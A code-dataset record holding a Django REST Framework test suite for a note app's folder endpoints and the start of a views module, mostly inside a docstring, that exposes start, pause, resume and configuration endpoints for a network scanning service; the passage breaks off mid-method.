1,264
5.892086
0.251799
0.095238
0.068376
0.107448
0.835165
0.802198
0.802198
0.752137
0.698413
0.634921
0
0.006085
0.219937
1,264
50
76
25.28
0.824544
0.073576
0
0.59375
0
0
0.087554
0
0
0
0
0
0
1
0.25
false
0.15625
0.125
0
0.40625
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
7
b3e93ba97cbea51bc9ef571684770068c72421ec
22,722
py
Python
marknote/tests/test_folder.py
sheldonkwoodward/marknote
d752f86b5b29416e77d38ec31090841d6119a750
[ "MIT" ]
5
2018-09-07T02:14:19.000Z
2018-11-13T16:37:22.000Z
marknote/tests/test_folder.py
sheldonkwoodward/marknote
d752f86b5b29416e77d38ec31090841d6119a750
[ "MIT" ]
2
2020-02-11T23:19:58.000Z
2020-06-05T18:53:11.000Z
marknote/tests/test_folder.py
sheldonkwoodward/marknote
d752f86b5b29416e77d38ec31090841d6119a750
[ "MIT" ]
1
2018-09-07T14:48:04.000Z
2018-09-07T14:48:04.000Z
from django.contrib.auth.models import Permission, User from rest_framework import status from rest_framework.reverse import reverse from rest_framework.test import APITestCase, APIClient import json from marknote.models import Folder class TestFolderLCPost(APITestCase): """ Test cases for POST requests on NoteListCreateView. """ def setUp(self): # create test user self.username = 'test' self.password = 'test' self.user = User.objects.create_user(username=self.username, password=self.password) # permissions self.user.user_permissions.add(Permission.objects.get(codename='add_folder')) # log in test client self.client.login(username=self.username, password=self.password) # view name self.view_name = 'marknote:folder-list-create' def test_folder_create(self): """ Tests that a folder was properly created. """ # create folder body = { 'title': 'title', } response = self.client.post(reverse(self.view_name), body) response_body = json.loads(response.content.decode('utf-8')) folder = Folder.objects.first() # test database self.assertEqual(body['title'], folder.title) self.assertEqual(self.user, folder.owner) # test response self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual(response_body['pk'], folder.id) self.assertEqual(response_body['title'], body['title']) self.assertEqual(response_body['container'], None) self.assertEqual(response_body['created'], folder.created.strftime('%Y-%m-%dT%H:%M:%S.%fZ')) self.assertEqual(response_body['updated'], folder.updated.strftime('%Y-%m-%dT%H:%M:%S.%fZ')) def test_folder_create_in_folder(self): """ Tests that a folder in a folder was properly created. """ # create container folder top_folder = Folder(title='top', owner=self.user) top_folder.save() # create another folder body = { 'title': 'title', 'container': top_folder.id, } bottom_response = self.client.post(reverse(self.view_name), body) bottom_response_body = json.loads(bottom_response.content.decode('utf-8')) bottom_folder = Folder.objects.get(title=body['title']) # test database self.assertEqual(bottom_folder.container.id, body['container']) self.assertEqual(bottom_folder.container, top_folder) # test folder_response self.assertEqual(bottom_response.status_code, status.HTTP_201_CREATED) self.assertEqual(bottom_response_body['container'], top_folder.id) def test_folder_create_no_title(self): """ Tests that a folder is not created without a title. """ # create folder body = {} response = self.client.post(reverse(self.view_name), body) folders = Folder.objects.all() # test database self.assertEqual(len(folders), 0) # test response self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_folder_create_not_authenticated(self): """ Tests that a folder is not created when the user is not authenticated. """ # create unauthenticated client client = APIClient() # create folder body = { 'title': 'title', } response = client.post(reverse(self.view_name), body) response_body = json.loads(response.content.decode('utf-8')) folders = Folder.objects.all() # test database self.assertEqual(len(folders), 0) # test response self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) self.assertFalse('pk' in response_body) def test_folder_create_not_authorized(self): """ Tests that a folder is not created when when the user is authenticated but not authorized. """ # create unauthorized user username = 'unauthorized' password = 'unauthorized' User.objects.create_user(username=username, password=password) client = APIClient() client.login(username=username, password=password) # create folder body = { 'title': 'title', } response = client.post(reverse(self.view_name), body) folders = Folder.objects.all() # test database self.assertEqual(len(folders), 0) # test response self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) class TestFolderLCGet(APITestCase): """ Test cases for GET requests on NoteListCreateView. """ def setUp(self): # create test user self.username = 'test' self.password = 'test' self.user = User.objects.create_user(username=self.username, password=self.password) # log in test client self.client.login(username=self.username, password=self.password) # view name self.view_name = 'marknote:folder-list-create' def test_folder_retrieve_none(self): """ Tests that no folders are retrieved when none exist. """ response = self.client.get(reverse(self.view_name)) response_body = json.loads(response.content.decode('utf-8')) empty_body = { 'folders': [], } # test response self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response_body, empty_body) def test_folder_retrieve_multiple(self): """ Tests that multiple folders are retrieved when they exist. """ # create folders Folder(title='title1', owner=self.user).save() Folder(title='title2', owner=self.user).save() # request response = self.client.get(reverse(self.view_name)) response_body = json.loads(response.content.decode('utf-8')) # test response self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(len(response_body['folders']), 2) for db_folder, response_folder in zip(Folder.objects.all(), response_body['folders']): self.assertEqual(response_folder['pk'], db_folder.id) self.assertEqual(response_folder['title'], db_folder.title) self.assertEqual(response_folder['container'], db_folder.container_id) self.assertEqual(response_folder['created'], db_folder.created.strftime('%Y-%m-%dT%H:%M:%S.%fZ')) self.assertEqual(response_folder['updated'], db_folder.updated.strftime('%Y-%m-%dT%H:%M:%S.%fZ')) def test_folder_filter_title(self): """ Tests that folders are filtered appropriately by their title. """ # create folders Folder(title='ab', owner=self.user).save() folder_0 = Folder(title='bc', owner=self.user) folder_1 = Folder(title='cd', owner=self.user) folder_0.save() folder_1.save() # request response = self.client.get(reverse(self.view_name) + '?title=c') response_body = json.loads(response.content.decode('utf-8')) # test response self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(len(response_body['folders']), 2) self.assertEqual(response_body['folders'][0]['pk'], folder_0.id) self.assertEqual(response_body['folders'][1]['pk'], folder_1.id) def test_folder_retrieve_owned(self): """ Tests that only folders that are owned are retrieved. """ # create folders folder = Folder(title='title', owner=self.user) folder.save() Folder(title='title', owner=User.objects.create_user(username='other_user')).save() # request response = self.client.get(reverse(self.view_name)) response_body = json.loads(response.content.decode('utf-8')) # test response self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(len(response_body['folders']), 1) self.assertEqual(response_body['folders'][0]['pk'], folder.id) def test_folder_retrieve_not_authenticated(self): """ Tests that a folder is not created when the user is not authenticated. """ # create unauthenticated client client = APIClient() # request response = client.get(reverse(self.view_name)) response_body = json.loads(response.content.decode('utf-8')) # test response self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) self.assertFalse('folders' in response_body) class TestFolderRUDGet(APITestCase): """ Test cases for GET requests on NoteRetrieveUpdateDestroyView. """ def setUp(self): # create test user self.username = 'test' self.password = 'test' self.user = User.objects.create_user(username=self.username, password=self.password) # log in test client self.client.login(username=self.username, password=self.password) # view name self.view_name = 'marknote:folder-retrieve-update-destroy' def test_folder_retrieve(self): """ Tests that the proper folder is retrieved. """ # create folders folder = Folder(title='title1', owner=self.user) folder.save() Folder(title='title2', owner=self.user).save() # request response = self.client.get(reverse(self.view_name, args=[folder.id])) response_body = json.loads(response.content.decode('utf-8')) # test response self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response_body['pk'], folder.id) self.assertEqual(response_body['title'], folder.title) self.assertEqual(response_body['container'], None) self.assertEqual(response_body['created'], folder.created.strftime('%Y-%m-%dT%H:%M:%S.%fZ')) self.assertEqual(response_body['updated'], folder.updated.strftime('%Y-%m-%dT%H:%M:%S.%fZ')) def test_folder_does_not_exist(self): """ Tests that no folder is retrieved if the id specified does not exist. """ # create folder folder = Folder(title='title1', owner=self.user) folder.save() # request response = self.client.get(reverse(self.view_name, args=['2'])) # test response self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) def test_folder_retrieve_not_owned(self): """ Tests that folders that are not owned are not retrieved. """ # create folders folder = Folder(title='title', owner=User.objects.create_user(username='other_user')) folder.save() # request response = self.client.get(reverse(self.view_name, args=[folder.id])) # test response self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) def test_folder_retrieve_not_authenticated(self): """ Tests that a folder is not retrieved when the user is not authenticated. """ # create unauthenticated client client = APIClient() # create folders folder = Folder(title='title', owner=self.user) folder.save() # request response = client.get(reverse(self.view_name, args=[folder.id])) response_body = json.loads(response.content.decode('utf-8')) # test response self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) self.assertFalse('pk' in response_body) class TestFolderRUDPutPatch(APITestCase): """ Test cases for PUT requests on NoteRetrieveUpdateDestroyView. """ def setUp(self): # create test user self.username = 'test' self.password = 'test' self.user = User.objects.create_user(username=self.username, password=self.password) # permissions self.user.user_permissions.add(Permission.objects.get(codename='change_folder')) # log in test client self.client.login(username=self.username, password=self.password) # view name self.view_name = 'marknote:folder-retrieve-update-destroy' def test_folder_update_full(self): """ Tests that a full folder update executes properly. """ # create folder and folder top_folder = Folder(title='title', owner=self.user) top_folder.save() bottom_folder = Folder(title='title', owner=self.user) bottom_folder.save() # request body = { 'title': 'title changed', 'container': top_folder.id, } response = self.client.put(reverse(self.view_name, args=[bottom_folder.id]), body) response_body = json.loads(response.content.decode('utf-8')) # test database folder = Folder.objects.get(id=bottom_folder.id) self.assertEqual(body['title'], folder.title) self.assertEqual(top_folder, folder.container) # test response self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response_body['title'], body['title']) self.assertEqual(response_body['container'], top_folder.id) def test_folder_update_partial(self): """ Tests that a partial folder update executes properly. """ # create folder original_title = 'title' folder = Folder(title=original_title, owner=self.user) folder.save() # request body = { 'title': 'title changed', } response = self.client.patch(reverse(self.view_name, args=[folder.id]), body) response_body = json.loads(response.content.decode('utf-8')) # test database folder = Folder.objects.first() self.assertEqual(body['title'], folder.title) self.assertEqual(None, folder.container) # test response self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response_body['title'], body['title']) self.assertEqual(response_body['container'], None) def test_folder_update_container_does_not_exist(self): """ Tests that a folder cannot be updated with a non-existent container. """ # create folder and folder original_title = 'title' folder = Folder(title=original_title, owner=self.user) folder.save() # request body = { 'container': '2', } response = self.client.patch(reverse(self.view_name, args=[folder.id]), body) response_body = json.loads(response.content.decode('utf-8')) # test database folder = Folder.objects.first() self.assertEqual(original_title, folder.title) self.assertEqual(None, folder.container) # test response self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertFalse('pk' in response_body) def test_folder_update_read_only_fields(self): """ Tests that read only fields cannot be updated. """ # create folder original_folder = Folder(title='title', owner=self.user) original_folder.save() # request body = { 'pk': '2', 'created': '2018-09-04T16:30:28.469865Z', 'updated': '2018-09-04T16:30:28.469865Z', } response = self.client.patch(reverse(self.view_name, args=[original_folder.id]), body) response_body = json.loads(response.content.decode('utf-8')) # test database folder = Folder.objects.first() self.assertEqual(original_folder, folder) # test response self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertNotEqual(response_body['pk'], body['pk']) self.assertNotEqual(response_body['created'], body['created']) self.assertNotEqual(response_body['updated'], body['updated']) def test_folder_update_not_owned(self): """ Tests that folders that are folder owned are not updated. """ # create folder original_title = 'title' folder = Folder(title=original_title, owner=User.objects.create_user(username='other_user')) folder.save() # request body = { 'title': 'title changed', } response = self.client.patch(reverse(self.view_name, args=[folder.id]), body) response_body = json.loads(response.content.decode('utf-8')) # test database folder = Folder.objects.first() self.assertEqual(original_title, folder.title) self.assertEqual(None, folder.container) # test response self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertFalse('pk' in response_body) def test_folder_update_not_authenticated(self): """ Tests that a folder is not retrieved when a user is not authenticated. """ # create unauthenticated client client = APIClient() # create folder original_title = 'title' folder = Folder(title=original_title, owner=self.user) folder.save() # request body = { 'title': 'title changed', } response = client.patch(reverse(self.view_name, args=[folder.id]), body) response_body = json.loads(response.content.decode('utf-8')) # test database folder = Folder.objects.first() self.assertEqual(original_title, folder.title) self.assertEqual(None, folder.container) # test response self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) self.assertFalse('pk' in response_body) def test_folder_update_not_authorized(self): """ Tests that a folder is not retrieved when a user is not authorized. """ # create unauthorized user username = 'unauthorized' password = 'unauthorized' User.objects.create_user(username=username, password=password) client = APIClient() client.login(username=username, password=password) # create folder original_title = 'title' folder = Folder(title=original_title, owner=self.user) folder.save() # request body = { 'title': 'title changed', } response = client.patch(reverse(self.view_name, args=[folder.id]), body) response_body = json.loads(response.content.decode('utf-8')) # test database folder = Folder.objects.first() self.assertEqual(original_title, folder.title) self.assertEqual(None, folder.container) # test response self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) self.assertFalse('pk' in response_body) class TestFolderRUDDelete(APITestCase): """ Test cases for DELETE requests on NoteRetrieveUpdateDestroyView. """ def setUp(self): # create test user self.username = 'test' self.password = 'test' self.user = User.objects.create_user(username=self.username, password=self.password) # permissions self.user.user_permissions.add(Permission.objects.get(codename='delete_folder')) # log in test client self.client.login(username=self.username, password=self.password) # view name self.view_name = 'marknote:folder-retrieve-update-destroy' def test_folder_destroy(self): """ Tests that a folder is properly destroyed. """ # create folder folder = Folder(title='title', owner=self.user) folder.save() # request response = self.client.delete(reverse(self.view_name, args=[folder.id])) # test database folders = Folder.objects.all() self.assertEqual(len(folders), 0) # test response self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) def test_folder_does_not_exist(self): """ Tests that destroying a non-existent folder does not affect other folders. """ # create folder folder = Folder(title='title', owner=self.user) folder.save() # request response = self.client.delete(reverse(self.view_name, args=['2'])) # test database folders = Folder.objects.all() self.assertEqual(len(folders), 1) # test response self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) def test_folder_destroy_not_owned(self): """ Tests that folders that are not owned are not destroyed. """ # create folder folder = Folder(title='title', owner=User.objects.create_user(username='other_user')) folder.save() # request response = self.client.delete(reverse(self.view_name, args=[folder.id])) # test database folders = Folder.objects.all() self.assertEqual(len(folders), 1) # test response self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) def test_folder_destroy_not_authenticated(self): """ Tests that a folder is not destroyed when a user is not authenticated. """ # create unauthenticated client client = APIClient() # create folder folder = Folder(title='title', owner=self.user) folder.save() # request response = client.delete(reverse(self.view_name, args=[folder.id])) # test database folders = Folder.objects.all() self.assertEqual(len(folders), 1) # test response self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_folder_destroy_not_authorized(self): """ Tests that a folder is not destroyed when a user is not authorized. """ # create unauthorized user username = 'unauthorized' password = 'unauthorized' User.objects.create_user(username=username, password=password) client = APIClient() client.login(username=username, password=password) # create folder folder = Folder(title='title', owner=self.user) folder.save() # request response = client.delete(reverse(self.view_name, args=[folder.id])) # test database folders = Folder.objects.all() self.assertEqual(len(folders), 1) # test response self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
39.311419
109
0.635463
2,599
22,722
5.421316
0.065795
0.083038
0.078353
0.03506
0.852803
0.820369
0.79638
0.782399
0.758765
0.721576
0
0.009649
0.251958
22,722
577
110
39.379549
0.819321
0.155444
0
0.680723
0
0
0.066131
0.019073
0
0
0
0
0.26506
1
0.093373
false
0.072289
0.018072
0
0.126506
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
7
3737ecef26e9ea2c09b84624f5f162a7078223f6
47,788
py
Python
Dictator_service/views_.py
FurqanKhan1/Dictator
74e29c12a8f92292ab3275661622c0632cdd0a7b
[ "Unlicense" ]
5
2019-03-14T10:17:22.000Z
2019-10-23T14:04:12.000Z
Dictator_service/views_.py
FurqanKhan1/Dictator
74e29c12a8f92292ab3275661622c0632cdd0a7b
[ "Unlicense" ]
null
null
null
Dictator_service/views_.py
FurqanKhan1/Dictator
74e29c12a8f92292ab3275661622c0632cdd0a7b
[ "Unlicense" ]
14
2019-03-14T10:34:02.000Z
2021-10-31T17:34:13.000Z
""" @Author :Furqan Khan @Email :furqankhan08@gmail.com @Date :1/3/2017 Objective : The purpose of this file /module /Class is to map to serve teh Rest request Depending upon the requested url the views module will fetch the data from the backend python files and would transform the data to json format ,and would finally return the data back to the requesting application. class SetCsrf(APIView): Objective : This class is only for test purpose and it forces the framework to generate a csrf token with custom authentication @method_decorator(ensure_csrf_cookie) def get(self,request,format=None): return Response(JSONRenderer().render({"helllo":"world"})) class UserList(APIView): Objective : The code is only for testing purpose and has no utility with final draft of code def get(self,request,format=None): Employee_dict={} Employee_list=[] Employee_dict["id"]=1 Employee_dict["name"]="Furqan Khan" Employee_list.append(Employee_dict) Employee_dict={} Employee_dict["id"]=2 Employee_dict["name"]="Burhan Khan" Employee_list.append(Employee_dict) serialize=UserSerializer(Employee_list,many=True) return Response(JSONRenderer().render(serialize.data)) #return JSONResponse(serialize.data) class StartScanConcurrent(APIView): Objective : The objective of this class is to serve the Post method which would take the scan attributes and would invoke appropriate backend python files Gui_main_driver.py to start the scan as a process. Note :This class would invoke the dicovery and vulnerability scanning in concurrent mode. IN order to understand about input given to this method and response returned read API documentation. #@csrf_exempt def post(self,request,format=None): print "Request HIt :" #data_=JSONParser().parse(request) scan_attributes=ScanAttributes(data=request.data) #scan_attributes=ScanAttributes(data=data_) return_response={} if scan_attributes.is_valid(): #return Response(scan_attributes.data) obj=Gui_main_driver.Gui_main() scan_id=obj.main_start(scan_attributes.data["project_name"],scan_attributes.data["IP_range"],scan_attributes.data["Port_range"],scan_attributes.data["switch"],"1","init",scan_attributes.data["assessment_id"],scan_attributes.data["app_id"],True) if scan_id !=-1: return_response["status"]="success" #+str(scan_attributes.data["project_name"]) return_response["project_id"]=str(scan_id) return_response["value"]=str(scan_id) else: return_response["status"]="failure" #+str(scan_attributes.data["project_name"]) return_response["project_id"]=str(scan_id) return_response["value"]=str(scan_id) return Response(JSONRenderer().render(return_response)) return_response["status"]="failure" return_response["errors"]=scan_attributes.errors return_response["value"]=scan_attributes.errors #return Response(return_response) return Response(JSONRenderer().render(return_response)) class StartScan(APIView): #@csrf_exempt Objective : The objective of this class is to serve the Post method which would take the scan attributes and would invoke appropriate backend python files Gui_main._driver.py to start the scan as a process Note :This class will invoke the backend code in sequential mode IN order to understand about input given to this method and response returned read API documentation. def post(self,request,format=None): print "Request HIt :" #data_=JSONParser().parse(request) scan_attributes=ScanAttributes(data=request.data) #scan_attributes=ScanAttributes(data=data_) return_response={} if scan_attributes.is_valid(): #return Response(scan_attributes.data) obj=Gui_main_driver.Gui_main() scan_id=obj.main_start(scan_attributes.data["project_name"],scan_attributes.data["IP_range"],scan_attributes.data["Port_range"],scan_attributes.data["switch"],"1","init",scan_attributes.data["assessment_id"],scan_attributes.data["app_id"]) if scan_id != -1: return_response["status"]="success" #+str(scan_attributes.data["project_name"]) return_response["project_id"]=str(scan_id) return_response["value"]=str(scan_id) else: return_response["status"]="failure" return_response["value"]="-1" return Response(JSONRenderer().render(return_response)) return_response["status"]="failure" return_response["errors"]=scan_attributes.errors return_response["value"]=scan_attributes.errors #return Response(return_response) return Response(JSONRenderer().render(return_response)) def get(self,request,format=None): Employee_dict={} Employee_list=[] Employee_dict["id"]=1 Employee_dict["name"]="Furqan Khan" Employee_list.append(Employee_dict) Employee_dict={} Employee_dict["id"]=2 Employee_dict["name"]="Burhan Khan" Employee_list.append(Employee_dict) serialize=UserSerializer(Employee_list,many=True) return Response(serialize.data) class StopScan(APIView): Objective : The objective of this class is to serve the Post method which would take the scan/project id and would invoke appropriate backend python files Gui_main_driver.py to stop the scan In order to understand about input given to this method and response returned read API documentation. #@csrf_exempt @method_decorator(csrf_protect) def post(self,request,format=None): scan_attributes=General(data=request.data) return_response={} if scan_attributes.is_valid(): #return Response(scan_attributes.data) obj=Gui_main_driver.Gui_main() scan_id=obj.main_pause(scan_attributes.data["project_id"],scan_attributes.data["assessment_id"],scan_attributes.data["app_id"]) if scan_id !=0: return_response["status"]="success" #+str(scan_attributes.data["project_name"]) else: return_response["status"]="failure" return_response["response_code"]=str(scan_id) return_response["value"]=str(scan_id) #return Response(JSONRenderer().render(return_response)) return Response(JSONRenderer().render(return_response)) return_response["status"]="failure" return_response["errors"]=scan_attributes.errors return_response["value"]=scan_attributes.errors return Response(JSONRenderer().render(return_response)) class StopScanConc(APIView): Objective : The objective of this class is to serve the Post method which would take the scan/project id and would invoke appropriate backend python files Gui_main_driver.py to stop the scan Note :This class would serve the purpose of stopping concurrent scan.Thus actually it would pause both the discovery as well as the vulnerability scanning phase. In order to understand about input given to this method and response returned read API documentation. #@csrf_exempt def post(self,request,format=None): try: scan_attributes=General(data=request.data) return_response={} if scan_attributes.is_valid(): #return Response(scan_attributes.data) obj=Gui_main_driver.Gui_main() scan_id=obj.main_pause(scan_attributes.data["project_id"],scan_attributes.data["assessment_id"],scan_attributes.data["app_id"]) exp_id=obj.exploits_pause(scan_attributes.data["project_id"],True) return_response["status"]="success" #+str(scan_attributes.data["project_name"]) return_response["response_code"]=str(scan_id) #return Response(JSONRenderer().render(return_response)) return Response(JSONRenderer().render(return_response)) else: return_response["status"]="failure" return_response["errors"]=scan_attributes.errors return Response(JSONRenderer().render(return_response)) except Exception ,ee: return_response["status"]="failure" return_response["errors"]=str(ee) return_response["value"]=str(ee) return Response(JSONRenderer().render(return_response)) class ResumeScanConc(APIView): Objective : The objective of this class is to serve the Post method which would take the scan/project id and would invoke appropriate backend python files Gui_main_driver.py to resume paused the scan Note :This class would serve the purpose of resuming concurrent scan.Thus actually it would pause both the discovery as well as the vulnerability scanning phase. In order to understand about input given to this method and response returned read API documentation. #@csrf_exempt def post(self,request,format=None): try: scan_attributes=General(data=request.data) return_response={} if scan_attributes.is_valid(): #return Response(scan_attributes.data) obj=Gui_main_driver.Gui_main() scan_id=obj.main_resume(scan_attributes.data["project_id"],scan_attributes.data["assessment_id"],scan_attributes.data["app_id"],True) return_response["status"]="success" #+str(scan_attributes.data["project_name"]) return_response["project_id"]=str(scan_id) return_response["value"]=str(scan_id) return Response(JSONRenderer().render(return_response)) else: return_response["status"]="failure" return_response["errors"]=scan_attributes.errors return_response["value"]=scan_attributes.errors return Response(JSONRenderer().render(return_response)) except Exception ,ee: return_response["status"]="failure" return_response["errors"]=str(ee) return_response["value"]=str(ee) return Response(JSONRenderer().render(return_response)) class StopExploits(APIView): Objective : The objective of this class is to serve the Post method which would take the scan/project id and would invoke appropriate backend python files Gui_main_driver.py to stop the vulnerability scan In order to understand about input given to this method and response returned read API documentation. #@csrf_exempt def post(self,request,format=None): try: return_response={} scan_attributes=General(data=request.data) if scan_attributes.is_valid(): #return Response(scan_attributes.data) try: concurrent=request.data["concurrent"] except Exception ,ex: return_response["status"]="failure" return_response["errors"]="Required Concurrent Field" return_response["value"]="Required Concurrent Field" return Response(JSONRenderer().render(return_response)) obj=Gui_main_driver.Gui_main() scan_id=obj.exploits_pause(scan_attributes.data["project_id"],concurrent) return_response["status"]="success" #+str(scan_attributes.data["project_name"]) return_response["response_code"]=str(scan_id) return_response["value"]=str(scan_id) return Response(JSONRenderer().render(return_response)) return_response["status"]="failure" return_response["errors"]=scan_attributes.errors return Response(JSONRenderer().render(return_response)) except Exception ,ee: return_response["status"]="failure" return_response["errors"]=str(ee) return_response["value"]=str(ee) return Response(JSONRenderer().render(return_response)) class ResumeScan(APIView): Objective : The objective of this class is to serve the Post method which would take the scan/project id and would invoke appropriate backend python files Gui_main_driver.py to resume the scan. In order to understand about input given to this method and response returned read API documentation. #@csrf_exempt def post(self,request,format=None): scan_attributes=General(data=request.data) return_response={} if scan_attributes.is_valid(): #return Response(scan_attributes.data) obj=Gui_main_driver.Gui_main() scan_id=obj.main_resume(scan_attributes.data["project_id"],scan_attributes.data["assessment_id"],scan_attributes.data["app_id"]) return_response["status"]="success" #+str(scan_attributes.data["project_name"]) return_response["project_id"]=str(scan_id) return_response["value"]=str(scan_id) return Response(JSONRenderer().render(return_response)) return_response["status"]="failure" return_response["errors"]=scan_attributes.errors return_response["value"]=scan_attributes.errors return Response(JSONRenderer().render(return_response)) class ResumeExploits(APIView): Objective : The objective of this class is to serve the Post method which would take the scan/project id and would invoke appropriate backend python files Gui_main_driver.py to resume the vul scan In order to understand about input given to this method and response returned read API documentation. #@csrf_exempt def post(self,request,format=None): try: scan_attributes=General(data=request.data) return_response={} if scan_attributes.is_valid(): #return Response(scan_attributes.data) obj=Gui_main_driver.Gui_main() scan_id=obj.exploits_resume(scan_attributes.data["project_id"]) return_response["status"]="success" #+str(scan_attributes.data["project_name"]) return_response["project_id"]=str(scan_id) return_response["value"]=str(scan_id) return Response(JSONRenderer().render(return_response)) return_response["status"]="failure" return_response["errors"]=scan_attributes.errors return_response["value"]=scan_attributes.errors return Response(JSONRenderer().render(return_response)) except Exception ,ee: return_response["status"]="failure" return_response["errors"]=str(ee) return_response["value"]=str(ee) return Response(JSONRenderer().render(return_response)) class ExploitableProjects(APIView): Objective : The objective of this class is to serve the Post method which would return the project id's of the projects for which the discovery would be over and would be eligible for vulnerability scan In order to understand about input given to this method and response returned read API documentation. def get(self,request,format=None): obj=IPtable.Projects() projects=obj.completed_projects() project_list=[] for project in projects: #print str(project[0])+ " " +str(project[1]) project_dict={} project_dict["id"]=project[0] project_dict["name"]=project[1] project_list.append(project_dict) #print "\n\n\n My val is --->"+str(project_list) return_response={} try: serialize=ProjectSerializer(data=project_list,many=True) #print "\n\n\nserializers are :"+str(serialize)+"\n\n" except Exception ,ee : print "EXception " +str(ee) return_response["status"]="failure" return_response["errors"]=str(ee) return Response(JSONRenderer().render(return_response)) if serialize.is_valid(): print "\n\nThe serlize data obtained !!\n\n" print str(serialize.data) return_response["status"]="success" return_response["data"]=serialize.data else: return_response["status"]="failure" return_response["errors"]=serialize.errors return Response(JSONRenderer().render(return_response)) class ExploitConfig_overwrite(APIView): Objective : The objective of this class is to serve the Post method which would take the updated configuration for a project and would delete the old configuration and results and would update to default configuration .Thus invoking the file Gui_main_driver.py for the method updateDefaultconfiguration() In order to understand about input given to this method and response returned read API documentation. def configure_response(self,default_config): print "IN configure response !" config_list=[] config_dict={} return_val=[] for config in default_config["value"]: print str(config) config_dict={} #print str(project[0])+ " " +str(project[1]) config_dict["id"]=config[0] config_dict["project_id"]=config[1] config_dict["host"]=config[2] config_dict["port"]=config[3] config_dict["service"]=config[4] config_dict["project_status"]=config[5] config_dict["Commands"]=config[6] config_dict["reconfig_service"]=False config_dict["reconfig_exploit"]=False config_list.append(config_dict) return_val.append(config_dict) return_val.append(config_list) return return_val def post(self,request,format=None): print "\n\n IN post method of config overwrite !!!" obj=Gui_main_driver.Gui_main() project_id=request.data["project_id"] continue_=False delete=True default_config=obj.Overwrite_and_GetDefaultConfiguration(project_id,'','',continue_,delete,False) if default_config["status"]=="reconfig": resp=self.configure_response(default_config) config_dict=resp[0] config_list=resp[1] #print "\n\n\n"+str(project_list) return_response={} if 1:#serialize.is_valid(): return_response["status"]="success" #return_response["data"]=serialize.data #Note Both work the same !!! return_response["data"]=config_list#serialize.data #Thus while reteriving data we can simply send back query list to json data !!.No need to build wrapper else: return_response["status"]="failure" return_response["errors"]=serialize.errors return Response(JSONRenderer().render(return_response)) else: print "\n\nReturning default config \n\n" return Response(JSONRenderer().render(default_config)) class ExploitConfig(APIView): Objective : The objective of this class is to serve the Post method which would take the updated configuration for a project and would update the configuration .Thus invoking the file Gui_main_driver.py for the method updateDefaultconfiguration().Finally it will return the updated configuration In order to understand about input given to this method and response returned read API documentation. def post(self,request,format=None): print "hello world !!" return_response={} all_values=[] obj=Gui_main_driver.Gui_main() try: concurrent=request.data["concurrent"] data_=Configuration(data=request.data["data"],many=True) #it transforms the underlying dictionary to ordered dictionary which is nothing but cololection of tuples.It does that recursively #data_=test_multi(data=request.data["data"],many=True) except Exception ,ee: return_response["status"]="failure" return_response["errors"]=str(ee) return_response["value"]="Error message is -->"+str(ee) return Response(JSONRenderer().render(return_response)) try: if data_.is_valid(): #list of dictionaries with each dictionary contains list of dict for key in data_.data: #key would be 1 dict default_config={} for i,(k,v) in enumerate(key.iteritems()): #keys would be project_id,commands and etc #print "--->"+str(type(v)) default_config[k]=v #print type(default_config) all_values.append(dict(default_config)) project_id=data_.data[0]["project_id"] print "Project id is : "+str(project_id) continue_=False delete=False #print "----------------------------------" #print str(all_values) #print "\n\n-------------------" print str(all_values) if concurrent =="0": update_result=obj.updateDefaultconfiguration(data_.data,project_id) elif concurrent=="1": update_result=obj.updateDefaultconfiguration(data_.data,project_id,'','',True) print "The length of elements returned :"+str(len(update_result)) print "\n\nObtained result is :" +str(update_result) return_response["status"]="success" return_response["value"]=update_result[0] #tedupdate status of services return_response["data"]=update_result[1] #the list of updated services else: return_response["status"]="failure" return_response["value"]="Error message is :"+str(data_.errors) return_response["errors"]=data_.errors except Exception ,ee: return_response["status"]="failure" return_response["errors"]=str(ee) return_response["value"]="Error message is :"+str(ee) return Response(JSONRenderer().render(return_response)) return Response(JSONRenderer().render(return_response)) def configure_response(self,default_config): print "IN configure response !" config_list=[] config_dict={} return_val=[] for config in default_config["value"]: #print str(config) config_dict={} #print str(project[0])+ " " +str(project[1]) config_dict["id"]=config[0] config_dict["project_id"]=config[1] config_dict["host"]=config[2] config_dict["port"]=config[3] config_dict["service"]=config[4] config_dict["project_status"]=config[5] config_dict["Commands"]=config[6] config_dict["reconfig_service"]=False config_dict["reconfig_exploit"]=False config_list.append(config_dict) return_val.append(config_dict) return_val.append(config_list) return return_val def get(self,request,format=None): obj=Gui_main_driver.Gui_main() project_id=request.data["project_id"] continue_=False delete=False default_config=obj.getDefaultConfiguration(project_id,continue_,delete,False) if default_config["status"]=="reconfig": resp=self.configure_response(default_config) config_dict=resp[0] config_list=resp[1] #print "\n\n\n"+str(project_list) return_response={} try: print "Reached here" #serialize=Configuration(data=config_dict) #print "\n\n\nseturnrializers are :"+str(serialize)+"\n\n" except Exception ,ee : print "EXception " +str(ee) 